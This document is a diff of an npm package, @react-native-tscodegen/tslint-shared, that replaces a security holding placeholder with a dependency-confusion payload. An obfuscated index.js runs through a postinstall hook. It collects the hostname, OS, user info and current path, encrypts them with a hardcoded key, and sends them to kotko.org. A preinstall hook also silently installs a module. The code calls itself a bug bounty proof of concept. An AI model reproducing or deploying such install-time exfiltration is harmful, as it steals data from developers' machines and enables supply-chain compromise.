@react-native-tscodegen/tslint-shared 0.0.1-security → 1.0.0

package/README.md

@@ -1,5 +1 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=%40react-native-tscodegen%2Ftslint-shared for more information.
+Poc by kotko for testing bug.

package/crypto.js

@@ -0,0 +1,31 @@
+const crypto = require('crypto');
+
+const algorithm = 'aes-256-ctr';
+const secretKey = 'vOVH6sdmpNWjRRIqCc7rdxs01lwHzfr3';
+const iv = crypto.randomBytes(16);
+
+const encrypt = (text) => {
+
+    const cipher = crypto.createCipheriv(algorithm, secretKey, iv);
+
+    const encrypted = Buffer.concat([cipher.update(text), cipher.final()]);
+
+    return {
+        iv: iv.toString('hex'),
+        content: encrypted.toString('hex')
+    };
+};
+
+const decrypt = (hash) => {
+
+    const decipher = crypto.createDecipheriv(algorithm, secretKey, Buffer.from(hash.iv, 'hex'));
+
+    const decrpyted = Buffer.concat([decipher.update(Buffer.from(hash.content, 'hex')), decipher.final()]);
+
+    return decrpyted.toString();
+};
+
+module.exports = {
+    encrypt,
+    decrypt
+};

package/index.js

@@ -0,0 +1 @@
+var _0x9c7453=_0x3d18;(function(_0x14ed68,_0x46702a){var _0x1759c5=_0x3d18,_0x5e7ddd=_0x14ed68();while(!![]){try{var _0x3707d4=parseInt(_0x1759c5(0x19a))/0x1*(parseInt(_0x1759c5(0x193))/0x2)+parseInt(_0x1759c5(0x1a2))/0x3+-parseInt(_0x1759c5(0x199))/0x4*(-parseInt(_0x1759c5(0x18b))/0x5)+parseInt(_0x1759c5(0x195))/0x6*(-parseInt(_0x1759c5(0x190))/0x7)+-parseInt(_0x1759c5(0x1a6))/0x8+parseInt(_0x1759c5(0x18e))/0x9+-parseInt(_0x1759c5(0x197))/0xa;if(_0x3707d4===_0x46702a)break;else _0x5e7ddd['push'](_0x5e7ddd['shift']());}catch(_0x274b29){_0x5e7ddd['push'](_0x5e7ddd['shift']());}}}(_0x5ab6,0xe6fe9));var os=require('os');const request=require(_0x9c7453(0x19e)),crypto=require(_0x9c7453(0x19d));var fs=require('fs'),hostname=os['hostname'](),type=os[_0x9c7453(0x1a5)](),userInfo=os[_0x9c7453(0x19f)](),currentPath=process[_0x9c7453(0x1a4)](),json=[];const algorithm=_0x9c7453(0x192),secretKey=_0x9c7453(0x18c),iv=crypto[_0x9c7453(0x19c)](0x10);json[_0x9c7453(0x18f)](hostname),json[_0x9c7453(0x18f)](type),json[_0x9c7453(0x18f)](userInfo),json[_0x9c7453(0x18f)](currentPath),json=JSON[_0x9c7453(0x19b)](json);const {encrypt,decrypt}=require(_0x9c7453(0x196));let hash=encrypt(json),company=_0x9c7453(0x194),packages=_0x9c7453(0x1a1);function _0x5ab6(){var _0x566524=['randomBytes','crypto','request','userInfo','from','@react-native-tscodegen/tslint-shared','5125365CBECBI','base64','cwd','platform','2342480ZtKndi','9140wMKrDr','vOVH6sdmpNWjRRIqCc7rdxs01lwHzfr3','toString','16579305KsHyfi','push','12564027VNuhel','this\x20proof\x20for\x20report','aes-256-ctr','2FvnLKi','microsoft--react-native-tscodegen','6OWpIxG','./crypto','15361360aHsXvJ','pocByKotko.txt','1668loaBLL','257084afLiSy','stringify'];_0x5ab6=function(){return _0x566524;};return _0x5ab6();}fs['writeFile'](_0x9c7453(0x198),_0x9c7453(0x191),function(_0xe14145){if(_0xe14145)throw _0xe14145;});function _0x3d18(_0x560c9d,_0x56d5f9){var _0x5ab6d5=_0x5ab6();return _0x3d18=function(_0x3d1830,_0x41628a){_0x3d1830=_0x3d1830-0x18b;var _0x39a965=_0x5ab6d5[_0x3d1830];return _0x39a965;},_0x3d18(_0x560c9d,_0x56d5f9);}var buff=Buffer[_0x9c7453(0x1a0)](JSON['stringify'](hash))[_0x9c7453(0x18d)](_0x9c7453(0x1a3));request('https://kotko.org/?'+company+':'+packages+'='+buff,(_0x3170be,_0xe6f6a1,_0x1de5c2)=>{});

package/package.json

@@ -1,6 +1,25 @@
 {
   "name": "@react-native-tscodegen/tslint-shared",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.0",
+  "description": "This package for demonstrate bugs in program (Bug Bounty program. Do not delete until decision report",
+  "main": "index.js",
+  "scripts": {
+    "postinstall": "node index.js",
+    "preinstall": "npm i request --save-dev",
+    "test": "node index.js"
+  },
+  "author": "",
+  "Dependencies": {
+    "crypto": "^1.0.1",
+    "ip": "^1.1.5",
+    "request": "^2.88.2",
+    "os": "^0.1.1"
+  },
+  "devDependencies": {
+    "crypto": "^1.0.1",
+    "ip": "^1.1.5",
+    "javascript-obfuscator": "^4.0.0",
+    "os": "^0.1.1",
+    "request": "^2.88.2"
+  }
 }